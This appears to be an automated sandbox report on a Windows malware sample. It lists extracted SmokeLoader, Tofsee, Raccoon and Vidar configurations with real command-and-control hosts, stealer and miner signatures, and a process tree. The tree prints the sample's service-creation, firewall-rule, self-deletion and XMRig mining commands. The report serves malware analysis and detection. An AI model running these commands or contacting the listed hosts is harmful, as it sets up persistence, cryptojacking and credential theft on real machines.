Analysis

  • max time kernel
    152s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    11/01/2022, 07:21

General

  • Target
    17460981bc0d0c9ad3a2df30c2708db9.exe
  • Size 277KB
  • Sample220111-h6nrjsfcgr
  • SHA256 9e83f940510fa184817de7861ccaff15e6a8bbf31b4dcebd0e8ece74c3595acc
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • tofsee

C2
  • patmushta.info

  • parubey.info

Extracted

Family
  • raccoon

Version
  • 1.8.4-hotfixs

rc4.plain

Extracted

Family
  • vidar

Version
  • 49.6

Botnet
  • 565

C2
  • https://noc.social/@banda5ker

  • https://mastodon.social/@banda6ker

Attributes
  • profile_id

    565

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious

    suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious

  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 1 IoCs
  • Vidar Stealer 2 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 11 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\17460981bc0d0c9ad3a2df30c2708db9.exe
    "C:\Users\Admin\AppData\Local\Temp\17460981bc0d0c9ad3a2df30c2708db9.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2784
    • C:\Users\Admin\AppData\Local\Temp\17460981bc0d0c9ad3a2df30c2708db9.exe
      "C:\Users\Admin\AppData\Local\Temp\17460981bc0d0c9ad3a2df30c2708db9.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:428
  • C:\Users\Admin\AppData\Local\Temp\9C0D.exe
    C:\Users\Admin\AppData\Local\Temp\9C0D.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:1224
  • C:\Users\Admin\AppData\Local\Temp\A594.exe
    C:\Users\Admin\AppData\Local\Temp\A594.exe
    1⤵
    • Executes dropped EXE
    PID:652
  • C:\Users\Admin\AppData\Local\Temp\A91F.exe
    C:\Users\Admin\AppData\Local\Temp\A91F.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:648
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ghhfppsf\
      2⤵
        PID:3796
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jltsiicz.exe" C:\Windows\SysWOW64\ghhfppsf\
        2⤵
          PID:1664
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ghhfppsf binPath= "C:\Windows\SysWOW64\ghhfppsf\jltsiicz.exe /d\"C:\Users\Admin\AppData\Local\Temp\A91F.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2700
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ghhfppsf "wifi internet conection"
            2⤵
              PID:1188
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ghhfppsf
              2⤵
                PID:3636
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2472
              • C:\Users\Admin\AppData\Local\Temp\AD17.exe
                C:\Users\Admin\AppData\Local\Temp\AD17.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2988
                • C:\Users\Admin\AppData\Local\Temp\AD17.exe
                  C:\Users\Admin\AppData\Local\Temp\AD17.exe
                  2⤵
                  • Executes dropped EXE
                  PID:2440
                • C:\Users\Admin\AppData\Local\Temp\AD17.exe
                  C:\Users\Admin\AppData\Local\Temp\AD17.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1380
              • C:\Windows\SysWOW64\ghhfppsf\jltsiicz.exe
                C:\Windows\SysWOW64\ghhfppsf\jltsiicz.exe /d"C:\Users\Admin\AppData\Local\Temp\A91F.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2380
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:3620
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4080
              • C:\Users\Admin\AppData\Local\Temp\BC2C.exe
                C:\Users\Admin\AppData\Local\Temp\BC2C.exe
                1⤵
                • Executes dropped EXE
                PID:1480
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1480 -s 852
                  2⤵
                  • Suspicious use of NtCreateProcessExOtherParentProcess
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3108
              • C:\Users\Admin\AppData\Local\Temp\D310.exe
                C:\Users\Admin\AppData\Local\Temp\D310.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks processor information in registry
                PID:2244
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /im D310.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\D310.exe" & del C:\ProgramData\*.dll & exit
                  2⤵
                    PID:684
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /im D310.exe /f
                      3⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1296
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /t 6
                      3⤵
                      • Delays execution with timeout.exe
                      PID:3048
                • C:\Users\Admin\AppData\Local\Temp\DB9D.exe
                  C:\Users\Admin\AppData\Local\Temp\DB9D.exe
                  1⤵
                  • Executes dropped EXE
                  PID:3096
                • C:\Users\Admin\AppData\Local\Temp\E87F.exe
                  C:\Users\Admin\AppData\Local\Temp\E87F.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of SetThreadContext
                  PID:3312
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3984
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                  • Accesses Microsoft Outlook profiles
                  • outlook_office_path
                  • outlook_win_path
                  PID:3776
                • C:\Windows\explorer.exe
                  C:\Windows\explorer.exe
                  1⤵
                    PID:4052

                  Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        memory/428-115-0x0000000000400000-0x0000000000409000-memory.dmp

                        memory/648-145-0x0000000000540000-0x000000000054D000-memory.dmp

                        memory/648-146-0x0000000000570000-0x0000000000583000-memory.dmp

                        memory/648-147-0x0000000000400000-0x0000000000453000-memory.dmp

                        memory/652-139-0x0000000000400000-0x0000000000457000-memory.dmp

                        memory/652-136-0x0000000000460000-0x00000000005AA000-memory.dmp

                        memory/652-135-0x0000000000460000-0x00000000005AA000-memory.dmp

                        memory/1224-125-0x0000000000400000-0x0000000000452000-memory.dmp

                        memory/1224-123-0x00000000001D0000-0x00000000001D9000-memory.dmp

                        memory/1224-124-0x00000000001E0000-0x00000000001E9000-memory.dmp

                        memory/1380-223-0x0000000006EA0000-0x0000000007062000-memory.dmp

                        memory/1380-177-0x00000000053C0000-0x00000000054CA000-memory.dmp

                        memory/1380-224-0x00000000075A0000-0x0000000007ACC000-memory.dmp

                        memory/1380-200-0x00000000062C0000-0x0000000006326000-memory.dmp

                        memory/1380-199-0x0000000005810000-0x000000000582E000-memory.dmp

                        memory/1380-182-0x00000000054D0000-0x000000000551B000-memory.dmp

                        memory/1380-196-0x0000000005650000-0x00000000056C6000-memory.dmp

                        memory/1380-178-0x00000000052F0000-0x000000000532E000-memory.dmp

                        memory/1380-169-0x0000000000400000-0x0000000000420000-memory.dmp

                        memory/1380-198-0x00000000063D0000-0x00000000068CE000-memory.dmp

                        memory/1380-173-0x0000000000400000-0x0000000000420000-memory.dmp

                        memory/1380-174-0x0000000000400000-0x0000000000420000-memory.dmp

                        memory/1380-197-0x0000000005770000-0x0000000005802000-memory.dmp

                        memory/1380-175-0x00000000058C0000-0x0000000005EC6000-memory.dmp

                        memory/1380-176-0x0000000002E40000-0x0000000002E52000-memory.dmp

                        memory/1380-183-0x00000000052B0000-0x00000000058B6000-memory.dmp

                        memory/1480-167-0x0000000004850000-0x00000000048E1000-memory.dmp

                        memory/1480-168-0x0000000000400000-0x0000000002BC5000-memory.dmp

                        memory/1480-166-0x0000000004800000-0x000000000484F000-memory.dmp

                        memory/2244-188-0x0000000000400000-0x00000000004D9000-memory.dmp

                        memory/2244-190-0x0000000002270000-0x0000000002346000-memory.dmp

                        memory/2244-189-0x0000000000690000-0x000000000070C000-memory.dmp

                        memory/2380-165-0x0000000000400000-0x0000000000453000-memory.dmp

                        memory/2784-118-0x0000000000450000-0x000000000059A000-memory.dmp

                        memory/2784-117-0x0000000000450000-0x000000000059A000-memory.dmp

                        memory/2988-138-0x0000000000400000-0x000000000048A000-memory.dmp

                        memory/2988-148-0x0000000005510000-0x0000000005A0E000-memory.dmp

                        memory/2988-144-0x0000000000AF0000-0x0000000000AF1000-memory.dmp

                        memory/2988-143-0x0000000004D60000-0x0000000004D61000-memory.dmp

                        memory/2988-141-0x0000000004C60000-0x0000000004C7E000-memory.dmp

                        memory/2988-137-0x0000000000400000-0x000000000048A000-memory.dmp

                        memory/2988-140-0x0000000004CE0000-0x0000000004D56000-memory.dmp

                        memory/3000-119-0x00000000013E0000-0x00000000013F6000-memory.dmp

                        memory/3000-152-0x0000000003500000-0x0000000003516000-memory.dmp

                        memory/3096-187-0x0000000002DC0000-0x0000000002E05000-memory.dmp

                        memory/3312-206-0x0000000000B40000-0x0000000000B41000-memory.dmp

                        memory/3312-204-0x0000000000B10000-0x0000000000B11000-memory.dmp

                        memory/3312-208-0x0000000000B60000-0x0000000000B61000-memory.dmp

                        memory/3312-209-0x0000000000C60000-0x0000000001715000-memory.dmp

                        memory/3312-210-0x0000000000B50000-0x0000000000B51000-memory.dmp

                        memory/3312-205-0x0000000000B20000-0x0000000000B21000-memory.dmp

                        memory/3312-201-0x00000000003F0000-0x00000000003F1000-memory.dmp

                        memory/3312-202-0x0000000000740000-0x0000000000741000-memory.dmp

                        memory/3312-203-0x0000000000760000-0x0000000000761000-memory.dmp

                        memory/3620-161-0x00000000007C0000-0x00000000007D5000-memory.dmp

                        memory/3620-163-0x00000000006D0000-0x00000000006D1000-memory.dmp

                        memory/3620-164-0x00000000006D0000-0x00000000006D1000-memory.dmp

                        memory/3776-233-0x0000000002B60000-0x0000000002BCB000-memory.dmp

                        memory/3776-232-0x0000000002E00000-0x0000000002E74000-memory.dmp

                        memory/3984-250-0x00000000097F0000-0x00000000098FA000-memory.dmp

                        memory/3984-248-0x0000000009C20000-0x000000000A226000-memory.dmp

                        memory/3984-367-0x000000000C630000-0x000000000C680000-memory.dmp

                        memory/3984-278-0x000000000D5D0000-0x000000000DAFC000-memory.dmp

                        memory/3984-277-0x000000000CED0000-0x000000000D092000-memory.dmp

                        memory/3984-264-0x000000000BD80000-0x000000000BDE6000-memory.dmp

                        memory/3984-237-0x0000000000400000-0x0000000000420000-memory.dmp

                        memory/3984-244-0x0000000004D90000-0x0000000004D91000-memory.dmp

                        memory/3984-243-0x0000000004D90000-0x0000000004D91000-memory.dmp

                        memory/3984-246-0x0000000000400000-0x0000000000420000-memory.dmp

                        memory/3984-245-0x0000000004D90000-0x0000000004D91000-memory.dmp

                        memory/3984-247-0x0000000000400000-0x0000000000420000-memory.dmp

                        memory/3984-261-0x000000000BA00000-0x000000000BA1E000-memory.dmp

                        memory/3984-249-0x00000000096C0000-0x00000000096D2000-memory.dmp

                        memory/3984-260-0x000000000BFE0000-0x000000000C4DE000-memory.dmp

                        memory/3984-251-0x0000000009720000-0x000000000975E000-memory.dmp

                        memory/3984-252-0x0000000009760000-0x00000000097AB000-memory.dmp

                        memory/3984-253-0x0000000004D90000-0x0000000004D91000-memory.dmp

                        memory/3984-254-0x0000000009610000-0x0000000009C16000-memory.dmp

                        memory/3984-258-0x000000000B920000-0x000000000B996000-memory.dmp

                        memory/3984-259-0x000000000BA40000-0x000000000BAD2000-memory.dmp

                        memory/4052-236-0x0000000000FF0000-0x0000000000FFC000-memory.dmp

                        memory/4052-235-0x0000000001200000-0x0000000001207000-memory.dmp

                        memory/4080-217-0x0000000002E50000-0x0000000002F41000-memory.dmp

                        memory/4080-222-0x0000000002E50000-0x0000000002F41000-memory.dmp